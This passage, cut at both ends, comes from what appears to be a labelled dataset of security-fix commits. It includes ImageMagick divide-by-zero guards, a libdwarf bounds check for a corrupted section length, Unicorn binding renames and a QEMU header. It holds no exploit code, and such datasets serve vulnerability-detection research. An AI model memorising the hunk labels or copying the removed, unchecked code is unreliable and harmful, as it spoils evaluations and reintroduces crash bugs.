DIFF_INSERT\n+\t\t\t\t\t\t\t && sp->ts_fidx > 0)\n \t\t\t // When inserting trail bytes don't advance in the\n \t\t\t // bad word.\n \t\t\t --sp->ts_fidx;", "related": false}]} +{"owner": "imagemagick", "repo": "imagemagick6", "language": "C", "file_name": "magick/widget.c", "commit_id": "450949ed017f009b399c937cf362f0058eacc5fa", "commit_message": "Pull request: https://github.com/ImageMagick/ImageMagick/pull/4963", "patch": "@@ -7861,6 +7861,8 @@ MagickExport int XMenuWidget(Display *display,XWindows *windows,\n break;\n }\n state&=(~InactiveWidgetState);\n+ if (selection_info.height == 0)\n+ break;\n id=(event.xbutton.y-top_offset)/(int) selection_info.height;\n selection_info.id=id;\n if ((id < 0) || (id >= (int) number_selections))\n@@ -7914,6 +7916,8 @@ MagickExport int XMenuWidget(Display *display,XWindows *windows,\n if (event.xcrossing.state == 0)\n break;\n state&=(~InactiveWidgetState);\n+ if (selection_info.height == 0)\n+ break;\n id=((event.xcrossing.y-top_offset)/(int) selection_info.height);\n if ((selection_info.id >= 0) &&\n (selection_info.id < (int) number_selections))\n@@ -8000,6 +8004,8 @@ MagickExport int XMenuWidget(Display *display,XWindows *windows,\n break;\n if (state & InactiveWidgetState)\n break;\n+ if (selection_info.height == 0)\n+ break;\n id=(event.xmotion.y-top_offset)/(int) selection_info.height;\n if ((selection_info.id >= 0) &&\n (selection_info.id < (int) number_selections))", "sections": [{"section": "@@ -7861,6 +7861,8 @@ MagickExport int XMenuWidget(Display *display,XWindows *windows,\n break;\n }\n state&=(~InactiveWidgetState);\n+ if (selection_info.height == 0)\n+ break;\n id=(event.xbutton.y-top_offset)/(int) selection_info.height;\n selection_info.id=id;\n if ((id < 0) || (id >= (int) number_selections))\n", "related": false}, {"section": "@@ -7914,6 +7916,8 @@ MagickExport int XMenuWidget(Display *display,XWindows *windows,\n if (event.xcrossing.state == 0)\n break;\n state&=(~InactiveWidgetState);\n+ if (selection_info.height == 0)\n+ break;\n id=((event.xcrossing.y-top_offset)/(int) selection_info.height);\n if ((selection_info.id >= 0) &&\n (selection_info.id < (int) number_selections))\n", "related": false}, {"section": "@@ -8000,6 +8004,8 @@ MagickExport int XMenuWidget(Display *display,XWindows *windows,\n break;\n if (state & InactiveWidgetState)\n break;\n+ if (selection_info.height == 0)\n+ break;\n id=(event.xmotion.y-top_offset)/(int) selection_info.height;\n if ((selection_info.id >= 0) &&\n (selection_info.id < (int) number_selections))", "related": false}]} +{"owner": "davea42", "repo": "libdwarf-code", "language": "C", "file_name": "src/lib/libdwarf/dwarf_global.c", "commit_id": "8151575a6ace77d005ca5bb5d71c1bfdba3f7069", "commit_message": "Fixes vulnerability DW202205-001\nReports error instead of crashing the when reading\na specially crafted (corrupted) .debug_pubnames\nor .debug_pubtypes section.\n\tmodified: src/lib/libdwarf/dwarf_global.c", "patch": "@@ -31,7 +31,6 @@\n #include \n \n #include /* strlen() */\n-\n #if defined(_WIN32) && defined(HAVE_STDAFX_H)\n #include \"stdafx.h\"\n #endif /* HAVE_STDAFX_H */\n@@ -83,6 +82,33 @@ _dwarf_fix_up_offset_irix(Dwarf_Debug dbg,\n }\n #endif /* __sgi */\n \n+#if 0\n+/* Debugging only. Requires start. can calulate one of len, end */\n+static void\n+debug_print_range(const char *msg,\n+ int lineno,\n+ void *start, signed long len,\n+ void *end)\n+{\n+\n+ char *st = (char *)start;\n+ char *en = (char *)end;\n+ signed long le = len;\n+\n+ if (len) {\n+ if (en) {\n+ le = (long)(en-st);\n+ } else {\n+ en= start+len;\n+ }\n+ } else if (en) {\n+ le = (long)(en-st);\n+ }\n+ printf(\"RANGEdebug %s st=0x%lx le=%ld en=0x%lx line %d\\n\",\n+ msg,(unsigned long)st,le,(unsigned long)en,lineno);\n+}\n+#endif\n+\n static void\n dealloc_globals_chain(Dwarf_Debug dbg,\n Dwarf_Chain head_chain)\n@@ -287,9 +313,9 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,\n Dwarf_Off pubnames_section_offset = 0;\n Dwarf_Small *section_end_ptr = section_data_ptr +section_length;\n \n- /* Points to the context for the current set of global names, and\n- contains information to identify the compilation-unit that the\n- set refers to. */\n+ /* Points to the context for the current set of global names,\n+ and contains information to identify the compilation-unit\n+ that the set refers to. */\n Dwarf_Global_Context pubnames_context = 0;\n Dwarf_Bool pubnames_context_on_list = FALSE;\n \n@@ -301,6 +327,10 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,\n \n Dwarf_Unsigned global_count = 0;\n \n+ /* The count is just to improve the error message\n+ a few lines above. */\n+ Dwarf_Unsigned context_count = 0;\n+\n /* Used to chain the Dwarf_Global_s structs for\n creating contiguous list of pointers to the structs. */\n Dwarf_Chain head_chain = 0;\n@@ -384,6 +414,41 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,\n }\n return mres;\n }\n+ {\n+ Dwarf_Small * localend =pubnames_like_ptr + length;\n+\n+ if ((length > section_length) ||\n+ (localend > section_end_ptr)){\n+ /* The length field is corrupted */\n+ dwarfstring m;\n+\n+ dwarfstring_constructor(&m);\n+ dwarfstring_append_printf_u(&m,\n+ \"DW_DLE_PUBNAMES_LENGTH_BAD (or similar) \"\n+ \"A DWARF length field in cu context %u \",\n+ context_count);\n+ dwarfstring_append_printf_s(&m,\"of section %s \",\n+ (char *)secname);\n+ dwarfstring_append_printf_u(&m,\"of \"\n+ \"%u bytes \",length);\n+ dwarfstring_append_printf_u(&m,\n+ \"runs off the end of \"\n+ \"the %u bytes of the real section\",\n+ section_length);\n+ _dwarf_error_string(dbg, error,length_err_num,\n+ dwarfstring_string(&m));\n+ dwarfstring_destructor(&m);\n+ dealloc_globals_chain(dbg,head_chain);\n+ if (!pubnames_context_on_list) {\n+ dwarf_dealloc(dbg,pubnames_context,\n+ context_DLA_code);\n+ }\n+ return DW_DLV_ERROR;\n+ }\n+ }\n+ /* The count is just to improve the error message\n+ a few lines above. */\n+ ++context_count;\n pubnames_context->pu_alloc_type = context_DLA_code;\n pubnames_context->pu_length_size = local_length_size;\n pubnames_context->pu_length = length;\n@@ -393,8 +458,7 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,\n pubnames_ptr_past_end_cu = pubnames_like_ptr + length;\n pubnames_context->pu_pub_entries_end_ptr =\n pubnames_ptr_past_end_cu;\n-\n- if ((pubnames_like_ptr + (DWARF_HALF_SIZE) ) >\n+ if ((pubnames_like_ptr + (DWARF_HALF_SIZE) ) >=\n /* A minimum size needed */\n section_end_ptr) {\n pubnames_error_length(dbg,error,\n@@ -554,6 +618,7 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,\n while (die_offset_in_cu) {\n int res = 0;\n unsigned char *glname = 0;\n+ Dwarf_Unsigned nstrlen = 0;\n \n /* non-zero die_offset_in_cu already read, so\n pubnames_like_ptr points to a string. */\n@@ -570,8 +635,8 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,\n return res;\n }\n glname = (unsigned char *)pubnames_like_ptr;\n- pubnames_like_ptr = pubnames_like_ptr +\n- strlen((char *) pubnames_like_ptr) + 1;\n+ nstrlen = strlen((char *)pubnames_like_ptr);\n+ pubnames_like_ptr += nstrlen + 1;\n /* Already read offset and verified string, glname\n now points to the string. */\n res = _dwarf_make_global_add_to_chain(dbg,", "sections": [{"section": "@@ -31,7 +31,6 @@\n #include \n \n #include /* strlen() */\n-\n #if defined(_WIN32) && defined(HAVE_STDAFX_H)\n #include \"stdafx.h\"\n #endif /* HAVE_STDAFX_H */\n", "related": false}, {"section": "@@ -83,6 +82,33 @@ _dwarf_fix_up_offset_irix(Dwarf_Debug dbg,\n }\n #endif /* __sgi */\n \n+#if 0\n+/* Debugging only. Requires start. can calulate one of len, end */\n+static void\n+debug_print_range(const char *msg,\n+ int lineno,\n+ void *start, signed long len,\n+ void *end)\n+{\n+\n+ char *st = (char *)start;\n+ char *en = (char *)end;\n+ signed long le = len;\n+\n+ if (len) {\n+ if (en) {\n+ le = (long)(en-st);\n+ } else {\n+ en= start+len;\n+ }\n+ } else if (en) {\n+ le = (long)(en-st);\n+ }\n+ printf(\"RANGEdebug %s st=0x%lx le=%ld en=0x%lx line %d\\n\",\n+ msg,(unsigned long)st,le,(unsigned long)en,lineno);\n+}\n+#endif\n+\n static void\n dealloc_globals_chain(Dwarf_Debug dbg,\n Dwarf_Chain head_chain)\n", "related": true}, {"section": "@@ -287,9 +313,9 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,\n Dwarf_Off pubnames_section_offset = 0;\n Dwarf_Small *section_end_ptr = section_data_ptr +section_length;\n \n- /* Points to the context for the current set of global names, and\n- contains information to identify the compilation-unit that the\n- set refers to. */\n+ /* Points to the context for the current set of global names,\n+ and contains information to identify the compilation-unit\n+ that the set refers to. */\n Dwarf_Global_Context pubnames_context = 0;\n Dwarf_Bool pubnames_context_on_list = FALSE;\n \n", "related": true}, {"section": "@@ -301,6 +327,10 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,\n \n Dwarf_Unsigned global_count = 0;\n \n+ /* The count is just to improve the error message\n+ a few lines above. */\n+ Dwarf_Unsigned context_count = 0;\n+\n /* Used to chain the Dwarf_Global_s structs for\n creating contiguous list of pointers to the structs. */\n Dwarf_Chain head_chain = 0;\n", "related": true}, {"section": "@@ -384,6 +414,41 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,\n }\n return mres;\n }\n+ {\n+ Dwarf_Small * localend =pubnames_like_ptr + length;\n+\n+ if ((length > section_length) ||\n+ (localend > section_end_ptr)){\n+ /* The length field is corrupted */\n+ dwarfstring m;\n+\n+ dwarfstring_constructor(&m);\n+ dwarfstring_append_printf_u(&m,\n+ \"DW_DLE_PUBNAMES_LENGTH_BAD (or similar) \"\n+ \"A DWARF length field in cu context %u \",\n+ context_count);\n+ dwarfstring_append_printf_s(&m,\"of section %s \",\n+ (char *)secname);\n+ dwarfstring_append_printf_u(&m,\"of \"\n+ \"%u bytes \",length);\n+ dwarfstring_append_printf_u(&m,\n+ \"runs off the end of \"\n+ \"the %u bytes of the real section\",\n+ section_length);\n+ _dwarf_error_string(dbg, error,length_err_num,\n+ dwarfstring_string(&m));\n+ dwarfstring_destructor(&m);\n+ dealloc_globals_chain(dbg,head_chain);\n+ if (!pubnames_context_on_list) {\n+ dwarf_dealloc(dbg,pubnames_context,\n+ context_DLA_code);\n+ }\n+ return DW_DLV_ERROR;\n+ }\n+ }\n+ /* The count is just to improve the error message\n+ a few lines above. */\n+ ++context_count;\n pubnames_context->pu_alloc_type = context_DLA_code;\n pubnames_context->pu_length_size = local_length_size;\n pubnames_context->pu_length = length;\n", "related": true}, {"section": "@@ -393,8 +458,7 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,\n pubnames_ptr_past_end_cu = pubnames_like_ptr + length;\n pubnames_context->pu_pub_entries_end_ptr =\n pubnames_ptr_past_end_cu;\n-\n- if ((pubnames_like_ptr + (DWARF_HALF_SIZE) ) >\n+ if ((pubnames_like_ptr + (DWARF_HALF_SIZE) ) >=\n /* A minimum size needed */\n section_end_ptr) {\n pubnames_error_length(dbg,error,\n", "related": true}, {"section": "@@ -554,6 +618,7 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,\n while (die_offset_in_cu) {\n int res = 0;\n unsigned char *glname = 0;\n+ Dwarf_Unsigned nstrlen = 0;\n \n /* non-zero die_offset_in_cu already read, so\n pubnames_like_ptr points to a string. */\n", "related": true}, {"section": "@@ -570,8 +635,8 @@ _dwarf_internal_get_pubnames_like_data(Dwarf_Debug dbg,\n return res;\n }\n glname = (unsigned char *)pubnames_like_ptr;\n- pubnames_like_ptr = pubnames_like_ptr +\n- strlen((char *) pubnames_like_ptr) + 1;\n+ nstrlen = strlen((char *)pubnames_like_ptr);\n+ pubnames_like_ptr += nstrlen + 1;\n /* Already read offset and verified string, glname\n now points to the string. */\n res = _dwarf_make_global_add_to_chain(dbg,", "related": true}]} +{"owner": "unicorn-engine", "repo": "unicorn", "language": "Java", "file_name": "bindings/java/unicorn/Arm64Const.java", "commit_id": "5a79d7879ca3ee0ce684ad6576d8ac15e8d90fc7", "commit_message": "Generate bindings", "patch": "@@ -6,10 +6,11 @@ public interface Arm64Const {\n \n // ARM64 CPU\n \n- public static final int UC_CPU_AARCH64_A57 = 0;\n- public static final int UC_CPU_AARCH64_A53 = 1;\n- public static final int UC_CPU_AARCH64_A72 = 2;\n- public static final int UC_CPU_AARCH64_MAX = 3;\n+ public static final int UC_CPU_ARM64_A57 = 0;\n+ public static final int UC_CPU_ARM64_A53 = 1;\n+ public static final int UC_CPU_ARM64_A72 = 2;\n+ public static final int UC_CPU_ARM64_MAX = 3;\n+ public static final int UC_CPU_ARM64_ENDING = 4;\n \n // ARM64 registers\n ", "sections": [{"section": "@@ -6,10 +6,11 @@ public interface Arm64Const {\n \n // ARM64 CPU\n \n- public static final int UC_CPU_AARCH64_A57 = 0;\n- public static final int UC_CPU_AARCH64_A53 = 1;\n- public static final int UC_CPU_AARCH64_A72 = 2;\n- public static final int UC_CPU_AARCH64_MAX = 3;\n+ public static final int UC_CPU_ARM64_A57 = 0;\n+ public static final int UC_CPU_ARM64_A53 = 1;\n+ public static final int UC_CPU_ARM64_A72 = 2;\n+ public static final int UC_CPU_ARM64_MAX = 3;\n+ public static final int UC_CPU_ARM64_ENDING = 4;\n \n // ARM64 registers\n ", "related": false}]} +{"owner": "unicorn-engine", "repo": "unicorn", "language": "Python", "file_name": "bindings/python/unicorn/arm_const.py", "commit_id": "5a79d7879ca3ee0ce684ad6576d8ac15e8d90fc7", "commit_message": "Generate bindings", "patch": "@@ -36,6 +36,7 @@\n UC_CPU_ARM_PXA270C0 = 31\n UC_CPU_ARM_PXA270C5 = 32\n UC_CPU_ARM_MAX = 33\n+UC_CPU_ARM_ENDING = 34\n \n # ARM registers\n ", "sections": [{"section": "@@ -36,6 +36,7 @@\n UC_CPU_ARM_PXA270C0 = 31\n UC_CPU_ARM_PXA270C5 = 32\n UC_CPU_ARM_MAX = 33\n+UC_CPU_ARM_ENDING = 34\n \n # ARM registers\n ", "related": false}]} +{"owner": "unicorn-engine", "repo": "unicorn", "language": "C", "file_name": "qemu/include/qemu/rcu_queue.h", "commit_id": "3d3deac5e6d38602b689c4fef5dac004f07a2e63", "commit_message": "Fix crash when mapping a big memory and calling uc_close", "patch": "@@ -0,0 +1,268 @@\n+#ifndef QEMU_RCU_QUEUE_H\n+#define QEMU_RCU_QUEUE_H\n+\n+/*\n+ * rcu_queue.h\n+ *\n+ * RCU-friendly versions of the queue.h primitives.\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation; either\n+ * version 2.1 of the License, or (at your option) any later version.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n+ *\n+ * Copyright (c) 2013 Mike D. Day, IBM Corporation.\n+ *\n+ * IBM's contributions to this file may be relicensed under LGPLv2 or later.\n+ */\n+\n+#include \"qemu/queue.h\"\n+#include \"qemu/atomic.h\"\n+\n+#ifdef __cplusplus\n+extern \"C\" {\n+#endif\n+\n+\n+/*\n+ * List access methods.\n+ */\n+#define QLIST_EMPTY_RCU(head) (atomic_read(&(head)->lh_first) == NULL)\n+#define QLIST_FIRST_RCU(head) (atomic_rcu_read(&(head)->lh_first))\n+#define QLIST_NEXT_RCU(elm, field) (atomic_rcu_read(&(elm)->field.le_next))\n+\n+/*\n+ * List functions.\n+ */\n+\n+\n+/*\n+ * The difference between atomic_read/set and atomic_rcu_read/set\n+ * is in the including of a read/write memory barrier to the volatile\n+ * access. atomic_rcu_* macros include the memory barrier, the\n+ * plain atomic macros do not. Therefore, it should be correct to\n+ * issue a series of reads or writes to the same element using only\n+ * the atomic_* macro, until the last read or write, which should be\n+ * atomic_rcu_* to introduce a read or write memory barrier as\n+ * appropriate.\n+ */\n+\n+/* Upon publication of the listelm->next value, list readers\n+ * will see the new node when following next pointers from\n+ * antecedent nodes, but may not see the new node when following\n+ * prev pointers from subsequent nodes until after the RCU grace\n+ * period expires.\n+ * see linux/include/rculist.h __list_add_rcu(new, prev, next)\n+ */\n+#define QLIST_INSERT_AFTER_RCU(listelm, elm, field) do { \\\n+ (elm)->field.le_next = (listelm)->field.le_next; \\\n+ (elm)->field.le_prev = &(listelm)->field.le_next; \\\n+ atomic_rcu_set(&(listelm)->field.le_next, (elm)); \\\n+ if ((elm)->field.le_next != NULL) { \\\n+ (elm)->field.le_next->field.le_prev = \\\n+ &(elm)->field.le_next; \\\n+ } \\\n+} while (/*CONSTCOND*/0)\n+\n+/* Upon publication of the listelm->prev->next value, list\n+ * readers will see the new element when following prev pointers\n+ * from subsequent elements, but may not see the new element\n+ * when following next pointers from antecedent elements\n+ * until after the RCU grace period expires.\n+ */\n+#define QLIST_INSERT_BEFORE_RCU(listelm, elm, field) do { \\\n+ (elm)->field.le_prev = (listelm)->field.le_prev; \\\n+ (elm)->field.le_next = (listelm); \\\n+ atomic_rcu_set((listelm)->field.le_prev, (elm)); \\\n+ (listelm)->field.le_prev = &(elm)->field.le_next; \\\n+} while (/*CONSTCOND*/0)\n+\n+/* Upon publication of the head->first value, list readers\n+ * will see the new element when following the head, but may\n+ * not see the new element when following prev pointers from\n+ * subsequent elements until after the RCU grace period has\n+ * expired.\n+ */\n+#define QLIST_INSERT_HEAD_RCU(head, elm, field) do { \\\n+ (elm)->field.le_prev = &(head)->lh_first; \\\n+ (elm)->field.le_next = (head)->lh_first; \\\n+ atomic_rcu_set((&(head)->lh_first), (elm)); \\\n+ if ((elm)->field.le_next != NULL) { \\\n+ (elm)->field.le_next->field.le_prev = \\\n+ &(elm)->field.le_next; \\\n+ } \\\n+} while (/*CONSTCOND*/0)\n+\n+\n+/* prior to publication of the elm->prev->next value, some list\n+ * readers may still see the removed element when following\n+ * the antecedent's next pointer.\n+ */\n+#define QLIST_REMOVE_RCU(elm, field) do { \\\n+ if ((elm)->field.le_next != NULL) { \\\n+ (elm)->field.le_next->field.le_prev = \\\n+ (elm)->field.le_prev; \\\n+ } \\\n+ atomic_set((elm)->field.le_prev, (elm)->field.le_next); \\\n+} while (/*CONSTCOND*/0)\n+\n+/* List traversal must occur within an RCU critical section. */\n+#define QLIST_FOREACH_RCU(var, head, field) \\\n+ for ((var) = atomic_rcu_read(&(head)->lh_first); \\\n+ (var); \\\n+ (var) = atomic_rcu_read(&(var)->field.le_next))\n+\n+/* List traversal must occur within an RCU critical section. */\n+#define QLIST_FOREACH_SAFE_RCU(var, head, field, next_var) \\\n+ for ((var) = (atomic_rcu_read(&(head)->lh_first)); \\\n+ (var) && \\\n+ ((next_var) = atomic_rcu_read(&(var)->field.le_next), 1); \\\n+ (var) = (next_var))\n+\n+/*\n+ * RCU simple queue\n+ */\n+\n+/* Simple queue access methods */\n+#define QSIMPLEQ_EMPTY_RCU(head) (atomic_read(&(head)->sqh_first) == NULL)\n+#define QSIMPLEQ_FIRST_RCU(head) atomic_rcu_read(&(head)->sqh_first)\n+#define QSIMPLEQ_NEXT_RCU(elm, field) atomic_rcu_read(&(elm)->field.sqe_next)\n+\n+/* Simple queue functions */\n+#define QSIMPLEQ_INSERT_HEAD_RCU(head, elm, field) do { \\\n+ (elm)->field.sqe_next = (head)->sqh_first; \\\n+ if ((elm)->field.sqe_next == NULL) { \\\n+ (head)->sqh_last = &(elm)->field.sqe_next; \\\n+ } \\\n+ atomic_rcu_set(&(head)->sqh_first, (elm)); \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QSIMPLEQ_INSERT_TAIL_RCU(head, elm, field) do { \\\n+ (elm)->field.sqe_next = NULL; \\\n+ atomic_rcu_set((head)->sqh_last, (elm)); \\\n+ (head)->sqh_last = &(elm)->field.sqe_next; \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QSIMPLEQ_INSERT_AFTER_RCU(head, listelm, elm, field) do { \\\n+ (elm)->field.sqe_next = (listelm)->field.sqe_next; \\\n+ if ((elm)->field.sqe_next == NULL) { \\\n+ (head)->sqh_last = &(elm)->field.sqe_next; \\\n+ } \\\n+ atomic_rcu_set(&(listelm)->field.sqe_next, (elm)); \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QSIMPLEQ_REMOVE_HEAD_RCU(head, field) do { \\\n+ atomic_set(&(head)->sqh_first, (head)->sqh_first->field.sqe_next); \\\n+ if ((head)->sqh_first == NULL) { \\\n+ (head)->sqh_last = &(head)->sqh_first; \\\n+ } \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QSIMPLEQ_REMOVE_RCU(head, elm, type, field) do { \\\n+ if ((head)->sqh_first == (elm)) { \\\n+ QSIMPLEQ_REMOVE_HEAD_RCU((head), field); \\\n+ } else { \\\n+ struct type *curr = (head)->sqh_first; \\\n+ while (curr->field.sqe_next != (elm)) { \\\n+ curr = curr->field.sqe_next; \\\n+ } \\\n+ atomic_set(&curr->field.sqe_next, \\\n+ curr->field.sqe_next->field.sqe_next); \\\n+ if (curr->field.sqe_next == NULL) { \\\n+ (head)->sqh_last = &(curr)->field.sqe_next; \\\n+ } \\\n+ } \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QSIMPLEQ_FOREACH_RCU(var, head, field) \\\n+ for ((var) = atomic_rcu_read(&(head)->sqh_first); \\\n+ (var); \\\n+ (var) = atomic_rcu_read(&(var)->field.sqe_next))\n+\n+#define QSIMPLEQ_FOREACH_SAFE_RCU(var, head, field, next) \\\n+ for ((var) = atomic_rcu_read(&(head)->sqh_first); \\\n+ (var) && ((next) = atomic_rcu_read(&(var)->field.sqe_next), 1); \\\n+ (var) = (next))\n+\n+/*\n+ * RCU tail queue\n+ */\n+\n+/* Tail queue access methods */\n+#define QTAILQ_EMPTY_RCU(head) (atomic_read(&(head)->tqh_first) == NULL)\n+#define QTAILQ_FIRST_RCU(head) atomic_rcu_read(&(head)->tqh_first)\n+#define QTAILQ_NEXT_RCU(elm, field) atomic_rcu_read(&(elm)->field.tqe_next)\n+\n+/* Tail queue functions */\n+#define QTAILQ_INSERT_HEAD_RCU(head, elm, field) do { \\\n+ (elm)->field.tqe_next = (head)->tqh_first; \\\n+ if ((elm)->field.tqe_next != NULL) { \\\n+ (head)->tqh_first->field.tqe_circ.tql_prev = \\\n+ &(elm)->field.tqe_circ; \\\n+ } else { \\\n+ (head)->tqh_circ.tql_prev = &(elm)->field.tqe_circ; \\\n+ } \\\n+ atomic_rcu_set(&(head)->tqh_first, (elm)); \\\n+ (elm)->field.tqe_circ.tql_prev = &(head)->tqh_circ; \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QTAILQ_INSERT_TAIL_RCU(head, elm, field) do { \\\n+ (elm)->field.tqe_next = NULL; \\\n+ (elm)->field.tqe_circ.tql_prev = (head)->tqh_circ.tql_prev; \\\n+ atomic_rcu_set(&(head)->tqh_circ.tql_prev->tql_next, (elm)); \\\n+ (head)->tqh_circ.tql_prev = &(elm)->field.tqe_circ; \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QTAILQ_INSERT_AFTER_RCU(head, listelm, elm, field) do { \\\n+ (elm)->field.tqe_next = (listelm)->field.tqe_next; \\\n+ if ((elm)->field.tqe_next != NULL) { \\\n+ (elm)->field.tqe_next->field.tqe_circ.tql_prev = \\\n+ &(elm)->field.tqe_circ; \\\n+ } else { \\\n+ (head)->tqh_circ.tql_prev = &(elm)->field.tqe_circ; \\\n+ } \\\n+ atomic_rcu_set(&(listelm)->field.tqe_next, (elm)); \\\n+ (elm)->field.tqe_circ.tql_prev = &(listelm)->field.tqe_circ; \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QTAILQ_INSERT_BEFORE_RCU(listelm, elm, field) do { \\\n+ (elm)->field.tqe_circ.tql_prev = (listelm)->field.tqe_circ.tql_prev; \\\n+ (elm)->field.tqe_next = (listelm); \\\n+ atomic_rcu_set(&(listelm)->field.tqe_circ.tql_prev->tql_next, (elm)); \\\n+ (listelm)->field.tqe_circ.tql_prev = &(elm)->field.tqe_circ; \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QTAILQ_REMOVE_RCU(head, elm, field) do { \\\n+ if (((elm)->field.tqe_next) != NULL) { \\\n+ (elm)->field.tqe_next->field.tqe_circ.tql_prev = \\\n+ (elm)->field.tqe_circ.tql_prev; \\\n+ } else { \\\n+ (head)->tqh_circ.tql_prev = (elm)->field.tqe_circ.tql_prev; \\\n+ } \\\n+ atomic_set(&(elm)->field.tqe_circ.tql_prev->tql_next, (elm)->field.tqe_next); \\\n+ (elm)->field.tqe_circ.tql_prev = NULL; \\\n+} while (/*CONSTCOND*/0)\n+\n+#define QTAILQ_FOREACH_RCU(var, head, field) \\\n+ for ((var) = atomic_rcu_read(&(head)->tqh_first); \\\n+ (var); \\\n+ (var) = atomic_rcu_read(&(var)->field.tqe_next))\n+\n+#define QTAILQ_FOREACH_SAFE_RCU(var, head, field, next) \\\n+ for ((var) = atomic_rcu_read(&(head)->tqh_first); \\\n+ (var) && ((next) = atomic_rcu_read(&(var)->field.tqe_next), 1); \\\n+ (var) = (next))\n+\n+#ifdef __cplusplus\n+}\n+#endif\n+#endif /* QEMU_RCU_QUEUE_H */", "sections": [{"section": "@@ -0,0 +1,268 @@\n+#ifndef QEMU_RCU_QUEUE_H\n+#define QEMU_RCU_QUEUE_H\n+\n+/*\n+ * rcu_queue.h\n+ *\n+ * RCU-friendly versions of the queue.h primitives.\n+ *\n+ * This library is free software; you can redistribute it and/or\n+ * modify it under the terms of the GNU Lesser General Public\n+ * License as published by the Free Software Foundation; either\n+ * version 2.1 of the License, or (at your option) any later version.\n+ *\n+ * This library is distributed in the hope that it will be useful,\n+ * but WITHOUT ANY WARRANTY; without even the implied warranty of\n+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n+ * Lesser General Public License for more details.\n+ *\n+ * You should have received a copy of the GNU Lesser General Public\n+ * License along with this library; if not, write to the Free Software\n+ * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA\n+ *\n+ * Copyright (c) 2013 Mike D. Day, IBM Corporation.\n+ *\n+ * IBM's contributions to this file may be relicensed under LGPLv2 or later.\n+ */\n+\n+#include \"qemu/queue.h\"\n+#include \"qemu/atomic.h\"\n+\n+#ifdef __cplusplus\n+extern \"C\" {\n+#endif\n+\n+\n+/*\n+ * List access methods.\n+ */\n+#define QLIST_EMPTY_RCU(head) (atomic_read(&(head)->lh_first) == NULL)\n+#define QLIST_FIRST_RCU(head) (atomic_rcu_read(&(head)->lh_first))\n+#define QLIST_NEXT_RCU(elm, field) (atomic_rcu_read(&(elm)->field.le_next))\n+\n+/*\n+ * List functions.\n+ */\n+\n+\n+/*\n+ * The difference between atomic_read/set and atomic_rcu_read/set\n+ * is in the including of a read/write memory barrier to the volatile\n+ * access. atomic_rcu_* macros include the memory barrier, the\n+ * plain atomic macros do not. Therefore, it should be correct to\n+ * issue a series of reads or writes to the same element using only\n+ * the atomic_* macro, until the last read or write, which should be\n+ * atomic_rcu_* to introduce a read or write memory barrier as\n+ * appropriate.\n+ */\n+\n+/* Upon publication of the listelm->next value, list readers\n+ * will see the new node when following next pointers from\n+ * antecedent nodes, but may not see the new node when following\n+ * prev pointers from subsequent nodes until after the RCU grace\n+ * period expires.\n+ * see linux/include/rculist.h __list_add_rcu(new, prev, next)\n+ */\n+#define QLIST_INSERT_AFTER_RCU(listelm, elm, field) do { \\\n+ (elm)->field.le_next = (listelm)->field.le_next; \\\n+ (elm)->field.le_prev = &(listelm)->field.le_next; \\\n+ atomic_rcu_set(&(listelm)->field.le_next, (elm)); \\\n+ if ((elm)->field.le_next != NULL) { \\\n+ (elm)->field.le_next->field.le_prev = \\\n+ &(elm)->field.le_next; \\\n+ } \\\n+} while (/*CONSTCOND*/0)\n+\n+/* Upon publication of the listelm->prev->next value, list\n+ * readers will see the new element when following prev pointers\n+ * from subsequent elements, but may not see the new element\n+ * when following next pointers from antecedent elements\n+ * until after the RCU grace period expires.\n+ */\n+#define QLIST_INSERT_BEFORE_RCU(listelm, elm, field) do { \\\n+ (elm)->field.le_prev = (listelm)->field.le_prev; \\\n+ (elm)->field.le_next = (listelm); \\\n+ atomic_rcu_set((listelm)->field.le_prev, (elm)); \\\n+ (listelm)->field.le_prev = &(elm)->field.le_next; \\\n+} while (/*CONSTCOND*/0)\n+\n+/* Upon publication of the head->first value, list readers\n+ * will see the new element when following the head, but may\n+ * not see the new element when following prev pointers from\n+ * subsequent elements until after the RCU grace period has\n+ * expired.\n+ */\n+#define QLIST_INSERT_HEAD_RCU(head, elm, field) do { \\\n+ (elm)->field.le_prev = &(head)->lh_first; \\\n+ (elm)->field.le_next = (head)->lh_first; \\\n+ atomic_rcu_set((&(head)->lh_first), (elm)); \\\n+ if ((elm)->field.le_next != NULL) { \\\n+ (elm)->field.le_next->field.le_prev = \\\n+ &(elm)->field.le_next; \\\n+ } \\\n+} while (/*CONSTCOND*/0)\n+\n+\n+/* prior to publication of the elm->prev->next value, some list\n+ * readers may still see the removed element when following\n+ * the antecedent's next pointer.\n+ */\n+#define QLIST_REMOVE_RCU(elm, field) do { \\\n+ if ((elm)->field.le_next != NULL) { \\\n+ (elm)->field.le_next->field.le_prev = \\\n+ 